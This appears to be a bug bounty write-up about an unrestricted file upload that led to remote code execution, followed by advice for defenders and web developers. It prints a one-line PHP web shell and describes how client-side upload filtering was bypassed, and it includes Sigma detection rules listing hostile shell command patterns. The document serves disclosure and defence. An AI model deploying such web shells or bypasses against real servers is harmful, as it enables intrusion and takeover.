How I Gain Unrestricted File Upload Remote Code Execution Bug Bounty.
This vulnerability is patched and fixed by the team. Because this application is a private scope, I can’t show the company name or branding.
I would use the company name as target.
How I Found The Vulnerability
After scoping the target application, I began to test for several vulnerabilities. Typically I first test for file upload functionality and the target had a profile upload feature in scope.
Logo Upload Functionality that allows users to upload a logo to their profile. https://target.com/profile/upload.php/
Bypassing client-side filtering
We were able to bypass this check by loading the image through the browser, then changing the extension in the request before it sent to the server using burp suite, as well as changing the content type of the file from image/png to application/php.
We changed the extensions from .jpeg to .php and replaced the contents of the file with <?php echo shell_exec($_GET[’e’].’ 2>&1’); ?>. A basic command shell.
At the bottom right of the image above you would see Apache, when running the command whoami. This vulnerability is known as Unrestricted File Upload https://www.owasp.org/index.php/Unrestricted_File_Upload. At this point, I stopped testing the application since I was able to gain code execution.
Impact of this vulnerability
The consequences of unrestricted file upload can vary, including complete system takeover, an overloaded file system or database, forwarding attacks to back-end systems, client-side attacks, or simple defacement.
The impact of this vulnerability is high, supposed code can be executed in the server context or on the client-side. The likelihood of detection for the attacker is high. The prevalence is common. As a result, the severity of this type of vulnerability is high.
It is important to check a file upload module’s access controls to examine the risks properly.
Server-side attacks: The web server can be compromised by uploading and executing a web-shell that can run commands, browse system files, browse local resources, attack other servers, or exploit the local vulnerabilities, and so forth.
Tips for security blue team to identify this type of attack being exploited.
Tip 1: We can use two sigma rules (Free)
title: Webshell Detection With Command Line Keywords
description: Detects certain command line parameters often used during reconnaissance activity via web shells
author: Florian Roth
- '*net user *'
- '*ping -n *'
- '*cd /d*' # https://www.computerhope.com/cdhlp.htm
title: Suspicious Activity in Shell Commands
description: Detects suspicious shell commands used in various exploit codes (see references)
author: Florian Roth
# Generic suspicious commands
- 'wget * - http* | perl'
- 'wget * - http* | sh'
- 'wget * - http* | bash'
- 'python -m SimpleHTTPServer'
- '-m http.server' # Python 3
- 'import pty; pty.spawn*'
- 'socat exec:*'
- 'socat -O /tmp/*'
- 'socat tcp-connect*'
- '*echo binary >>*'
- '*wget *; chmod +x*'
- '*wget *; chmod 777 *'
- '*cd /tmp || cd /var/run || cd /mnt*'
# Apache Struts in-the-wild exploit codes
- '*stop;service iptables stop;*'
- '*stop;SuSEfirewall2 stop;*'
- 'chmod 777 2020*'
# Metasploit framework exploit codes
- '*base64 -d /tmp/*'
- '* | base64 -d *'
- '*/chmod u+s *'
- '*chmod +s /tmp/*'
- '*chmod u+s /tmp/*'
- '* /tmp/haxhax*'
- '* /tmp/ns_sploit*'
- 'nc -l -p *'
- 'cp /bin/ksh *'
- 'cp /bin/sh *'
- '* /tmp/*.b64 *'
- '*/tmp/x *'
- '*; chmod +x /tmp/*'
- '*;chmod +x /tmp/*'
Forward apache logs and windows iis logs into your SIEM, can be elastic search kibana or splunk. Use the sigma rule converter for your SIEM with the right index and you should be able to detect if someone uploads and execute a web shell on your server.
Tip 2: Using Microsoft Defender ATP (Paid)
Microsoft Defender ATP exposes these behaviors that indicate web shell installation and post-compromise activity by analyzing script file writes and process executions. When alerted of these activities, security operations teams can then use the rich capabilities in Microsoft Defender ATP to investigate and resolve web shell attacks.
Tips for Web Developers
To avoid these types of file upload attacks, I recommend the following best practices:
1. Only allow specific file extensions, by using a white list of allowed files, you can avoid executables, scripts, and other potentially malicious content from being uploaded to your site.
2. Randomize uploaded file names, randomly alter the uploaded file names so that attackers cannot try to access the file with the file name they uploaded.
3. Store uploaded files outside webroot, The directory to which files are uploaded should be outside of the website’s public directory so that the attackers cannot execute the file via a website URL.
4. Use simple error messages, when displaying file upload errors, do not include directory paths, server configuration settings or other information that attackers could potentially use.
5. Finally, anything that arrives in the network via an upload should be scanned for malware and viruses. Excellent API to use would be virustotal or just an edr on the server.
6. Never ever, ever trust client-side validation. Always try to use server-side validation.
- Reported @ Mar 31, 2019, 5:43 PM
- Response Apr 8, 2019, 10:47 Am
- Rewarded May 9, 2019